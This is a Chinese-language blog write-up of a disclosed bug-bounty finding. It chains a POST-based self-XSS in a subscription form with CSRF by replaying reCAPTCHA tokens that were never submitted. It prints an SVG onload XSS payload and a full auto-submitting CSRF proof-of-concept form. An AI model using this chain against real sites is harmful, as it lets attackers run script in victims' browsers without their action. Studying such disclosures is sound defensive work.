记一次Self XSS+CSRF组合利用
视频教程在我主页简介或专栏里
(不懂都可以来问我 专栏找我哦)
目录:
确认 XSS 漏洞
确认 CSRF 漏洞
这个漏洞是我在应用程序的订阅表单中发现的一个 XSS 漏洞,只能通过 POST 请求进行利用。通常情况下,基于 POST 的 XSS 如果没有与 CSRF 结合来展示其影响力,那么这就是一个普通的反射型 XSS(Self XSS)。本来这不会成为一个大问题,但这个表单中实现了 Google reCAPTCHA v2。本文将探讨我是如何绕过 CAPTCHA,从而成功实现 CSRF 攻击的。

为了保持匿名性,我们假设目标网站是 https://www.target.com。当你访问 target.com 时,会看到一个注册和登录表单,但引起我注意的是一个订阅按钮,该按钮会将你引导至 https://www.target.com/subscribe。在这个页面上,会显示一个表单。

提交表单后,我们会收到一条感谢消息,其中显示了我们的名字(例如 John)。

确认 XSS 漏洞
我们可以使用以下 payload 在该字段中测试反射型 XSS 漏洞:
"><svg/onload=confirm(document.domain)>

当我们提交表单时,payload 被成功执行。现在我们已经确认了漏洞的存在,但问题在于,这个漏洞基于 POST 请求,如果没有 CSRF 的配合,它就会变成一个自我 XSS(Self XSS)。

确认 CSRF 漏洞
如果 CAPTCHA 没有被稳健地实现,它并不能保护应用程序免受 CSRF 攻击,主要作用只是提供一定程度的速率限制。在解决 CAPTCHA 后,会生成三个动态参数:captcha_sid、captcha_token 和 g_recaptcha_response。这里的“动态”是指它们的值会在每次解决 CAPTCHA 时发生变化。要构造一个完美的 CSRF 表单,我们需要能够为这些参数传递有效的值。

那么,如果我在另一个浏览器中解决了 CAPTCHA,但不将其提交到服务器,而是将这些答案重放到 CSRF 表单中,会怎样呢? 我在一个私密标签页中打开了表单页面,填写了表单内容,然后解决了 CAPTCHA。我在 Burp Suite 中启用了拦截功能,并点击了提交。请求被拦截后,我复制了 CAPTCHA 参数的值,并将它们插入到我的 CSRF 漏洞利用演示(PoC)表单中。
<html> <body><h1>CSRF PoC</h1><form action="https://www.target.com/subscribe" method="POST"><input type="hidden" name="name_first" value="'><svg/onload=confirm(document.domain)>" /><input type="hidden" name="name_last" value="Doe" /><input type="hidden" name="email_address" value="test@fake.com" /><input type="hidden" name="company_name" value="FakeCompany" /><input type="hidden" name="captcha_sid" value="INSERT-HERE" /><input type="hidden" name="captcha_token" value="INSERT-HERE" /><input type="hidden" name="captcha_response" value="Google no captcha" /><input type="hidden" name="g-recaptcha-response" value="INSERT-HERE" /><input type="hidden" name="captcha_cacheable" value="1" /><input type="hidden" name="op" value="Submit" /><input type="hidden" name="form_build_id" value="form-Vwtw-XX&" /><input type="hidden" name="form_id" value="XX_subscribe_sign_up_form" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body></html>
剩下要做的就是将这个 CSRF 漏洞利用表单托管起来,让受害者访问。受害者访问你的恶意网站后,会被重定向到 https://www.target.com/subscribe,订阅表单会在没有任何交互的情况下自动提交,JavaScript 代码则会在他们的浏览器中执行。

总结来说,CAPTCHA 并未绑定到用户的会话,因此未提交的其他用户的 CAPTCHA 答案可以被重放,用于我们的攻击。
我将这一发现提交给了他们的安全团队,他们迅速确认并修复了这个问题。

视频教程在我主页简介或专栏里
(不懂都可以来问我 专栏找我哦)
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关
相关文章:
记一次Self XSS+CSRF组合利用
视频教程在我主页简介或专栏里 (不懂都可以来问我 专栏找我哦) 目录: 确认 XSS 漏洞 确认 CSRF 漏洞 这个漏洞是我在应用程序的订阅表单中发现的一个 XSS 漏洞,只能通过 POST 请求进行利用。通常情况下,基于 POST 的…...
JVM 类加载子系统在干什么?
JVM 类加载子系统是什么? 类加载子系统(Class Loader Subsystem)是 JVM 负责 加载、链接和初始化 .class 文件的组件。它的主要作用是将字节码文件加载进 JVM 并准备执行。 类加载器(ClassLoader)是 字节码的搬运工&…...
Golang轻松实现消息模板变量替换:text/template
text/template 是 Go 语言标准库中的一个包,用于生成文本输出。它通过解析模板并根据给定的数据执行模板来生成最终的文本。text/template 提供了强大的模板引擎,支持条件判断、循环、变量替换等功能。 基本概念 模板:模板是一个文本文件或…...
DeepSeek模型R1服务器繁忙,怎么解决?
在当今科技飞速发展的时代,人工智能领域不断涌现出令人瞩目的创新成果,其中DeepSeek模型无疑成为了众多关注焦点。它凭借着先进的技术和卓越的性能,在行业内掀起了一股热潮,吸引了无数目光。然而,如同许多前沿技术在发…...
《探秘Windows 10驱动开发:从入门到实战》
《探秘Windows 10驱动开发:从入门到实战》 为什么要在 Windows 10 编写驱动程序 在当今数字化时代,计算机已成为人们生活和工作中不可或缺的工具 ,而 Windows 10 作为一款广泛使用的操作系统,其生态系统的丰富性和复杂性不言而喻。在这个庞大的体系中,驱动程序扮演着举足…...
Golang的容器化部署流程
# Golang的容器化部署流程 什么是容器化部署 容器化部署是将应用程序、运行环境及其依赖项打包在一起,以便可以在任何环境中快速、一致地运行的技术。它提供了更高效的资源利用、更便捷的部署和更稳定的环境。 的容器化支持 天生支持跨平台编译,使得将Go…...
计算机网络,大白话
好嘞,咱就从头到尾,给你好好说道说道计算机网络里这些“门门道道”的概念: 1. 网络(Network) 啥是网络? 你可以把网络想象成一个“大Party”,大家(设备)聚在一起&#…...
智慧城市V4系统小程序源码独立版全插件全开源
智慧城市V4系统小程序源码:多城市代理同城信息服务的全域解决方案 在数字化浪潮的推动下,智慧城市已成为全球发展的核心战略。作为这一领域的革新者,智慧城市V4系统小程序源码凭借其多城市代理同城信息服务能力与多商家营销功能,…...
SpringBoot分布式应用程序和数据库在物理位置分配上、路由上和数量上的最佳实践是什么?
在设计和部署Spring Boot分布式应用程序时,物理位置分配、路由和数据库数量的最佳实践对系统性能、可用性和可维护性至关重要。以下是相关建议: 1. 物理位置分配 最佳实践: 靠近用户部署:将应用实例部署在靠近用户的数据中心&a…...
【LeetCode Hot100 哈希】两数之和、字母异位词分组、最长连续序列
哈希 1. 两数之和题目描述解题思路步骤:时间复杂度:空间复杂度: 代码实现 2. 字母异位词分组题目描述解题思路步骤:时间复杂度:空间复杂度: 代码实现 3. 最长连续序列题目描述解题思路关键思路:…...
Jenkins 通过 Execute Shell 执行 shell 脚本 七
Jenkins 通过 Execute Shell 执行 shell 脚本 七 一、创建 .sh 文件 项目目录下新建 .sh 文件 jenkins-script\shell\ci_android_master.sh添加 Execute Shell 模块 在 Command 中添加 # 获取 .sh 路径 CI_ANDROID_MASTER_PATH"${WORKSPACE}/jenkins-script/shell/…...
无人机常见的定位方式
目录 1、卫星导航定位 2、基于地面基站定位 3、惯性导航定位 4、视觉定位 5、其他定位技术 目前无人机的定位方式主要有以下几种: 1、卫星导航定位 GPS 定位:全球定位系统是应用最广泛的卫星导航系统,无人机上的 GPS 接收器接收至少四…...
【Git版本控制器】:第一弹——Git初识,Git安装,创建本地仓库,初始化本地仓库,配置config用户名,邮箱信息
🎁个人主页:我们的五年 🔍系列专栏:Linux网络编程 🌷追光的人,终会万丈光芒 🎉欢迎大家点赞👍评论📝收藏⭐文章 相关笔记: https://blog.csdn.net/dj…...
使用 EDOT 监测由 OpenAI 提供支持的 Python、Node.js 和 Java 应用程序
作者:来自 Elastic Adrian Cole Elastic 很自豪地在我们的 Python、Node.js 和 Java EDOT SDK 中引入了 OpenAI 支持。它们为使用 OpenAI 兼容服务的应用程序添加日志、指标和跟踪,而无需任何代码更改。 介绍 去年,我们宣布了 OpenTelemetry…...
基于 STM32 的病房监控系统
标题:基于 STM32 的病房监控系统 内容:1.摘要 基于 STM32 的病房监控系统摘要:本系统采用 STM32 微控制器作为核心,通过传感器实时监测病房内的环境参数,如温度、湿度、光照等,并将数据上传至云端服务器。医护人员可以通过手机或…...
线上HBase client返回超时异常分析 HBase callTimeout=60000
问题现象 HBase client直接返回超时异常 HBase callTimeout=60000, callDuration=60301: row ‘12649160863966c2790195059018040900010003320’ on table ‘Z_UPA’ at region=Z_UPA,1213d1a56,1184027415643. ba7224f83dbb09591a74b7059f17., hostname=abcd,60020,891863950…...
03.开闭原则详细介绍
03.开闭原则详细介绍 目录介绍 01.问题思考的分析02.如何理解开闭原则03.开闭原则的背景04.开闭原则比较难学05.实现开闭原则方式06.画图形案例分析07.银行业务案例分析08.开闭原则优缺点09.开闭原则的总结 推荐一个好玩网站 一个最纯粹的技术分享网站,打造精品…...
前端职业规划
前端开发的职业规划可以根据个人兴趣、技术深度和职业目标来制定。以下是一个典型的前端开发者职业发展路径,涵盖了从初级到高级的不同阶段,以及未来的发展方向: 1. 初级阶段(0-2 年) 目标:掌握基础技能&a…...
杂记:STM32 调试信息打印实现方式
杂记:STM32 调试信息打印实现方式 一、引言二、使用 USART 串口打印原理(二)实现步骤硬件连接代码实现 使用 ST - LINK 调试器 ITM 打印(一)原理(二)实现步骤硬件连接代码实现 四、使用 Semihos…...
python+unity落地方案实现AI 换脸融合
先上效果再说技术结论,使用的是自行搭建的AI人脸融合库,可以离线不受限制无限次生成,有需要的可以后台私信python ai换脸融合。 TODO 未来的方向:3D人脸融合和AI数据训练 这个技术使用的是openvcinsighface,openvc…...
vscode里如何用git
打开vs终端执行如下: 1 初始化 Git 仓库(如果尚未初始化) git init 2 添加文件到 Git 仓库 git add . 3 使用 git commit 命令来提交你的更改。确保在提交时加上一个有用的消息。 git commit -m "备注信息" 4 …...
label-studio的使用教程(导入本地路径)
文章目录 1. 准备环境2. 脚本启动2.1 Windows2.2 Linux 3. 安装label-studio机器学习后端3.1 pip安装(推荐)3.2 GitHub仓库安装 4. 后端配置4.1 yolo环境4.2 引入后端模型4.3 修改脚本4.4 启动后端 5. 标注工程5.1 创建工程5.2 配置图片路径5.3 配置工程类型标签5.4 配置模型5.…...
云计算——弹性云计算器(ECS)
弹性云服务器:ECS 概述 云计算重构了ICT系统,云计算平台厂商推出使得厂家能够主要关注应用管理而非平台管理的云平台,包含如下主要概念。 ECS(Elastic Cloud Server):即弹性云服务器,是云计算…...
QMC5883L的驱动
简介 本篇文章的代码已经上传到了github上面,开源代码 作为一个电子罗盘模块,我们可以通过I2C从中获取偏航角yaw,相对于六轴陀螺仪的yaw,qmc5883l几乎不会零飘并且成本较低。 参考资料 QMC5883L磁场传感器驱动 QMC5883L磁力计…...
java 实现excel文件转pdf | 无水印 | 无限制
文章目录 目录 文章目录 前言 1.项目远程仓库配置 2.pom文件引入相关依赖 3.代码破解 二、Excel转PDF 1.代码实现 2.Aspose.License.xml 授权文件 总结 前言 java处理excel转pdf一直没找到什么好用的免费jar包工具,自己手写的难度,恐怕高级程序员花费一年的事件,也…...
前端开发面试题总结-JavaScript篇(一)
文章目录 JavaScript高频问答一、作用域与闭包1.什么是闭包(Closure)?闭包有什么应用场景和潜在问题?2.解释 JavaScript 的作用域链(Scope Chain) 二、原型与继承3.原型链是什么?如何实现继承&a…...
【碎碎念】宝可梦 Mesh GO : 基于MESH网络的口袋妖怪 宝可梦GO游戏自组网系统
目录 游戏说明《宝可梦 Mesh GO》 —— 局域宝可梦探索Pokmon GO 类游戏核心理念应用场景Mesh 特性 宝可梦玩法融合设计游戏构想要素1. 地图探索(基于物理空间 广播范围)2. 野生宝可梦生成与广播3. 对战系统4. 道具与通信5. 延伸玩法 安全性设计 技术选…...
Netty从入门到进阶(二)
二、Netty入门 1. 概述 1.1 Netty是什么 Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. Netty是一个异步的、基于事件驱动的网络应用框架,用于…...
【从零学习JVM|第三篇】类的生命周期(高频面试题)
前言: 在Java编程中,类的生命周期是指类从被加载到内存中开始,到被卸载出内存为止的整个过程。了解类的生命周期对于理解Java程序的运行机制以及性能优化非常重要。本文会深入探寻类的生命周期,让读者对此有深刻印象。 目录 …...
Golang——9、反射和文件操作
反射和文件操作 1、反射1.1、reflect.TypeOf()获取任意值的类型对象1.2、reflect.ValueOf()1.3、结构体反射 2、文件操作2.1、os.Open()打开文件2.2、方式一:使用Read()读取文件2.3、方式二:bufio读取文件2.4、方式三:os.ReadFile读取2.5、写…...
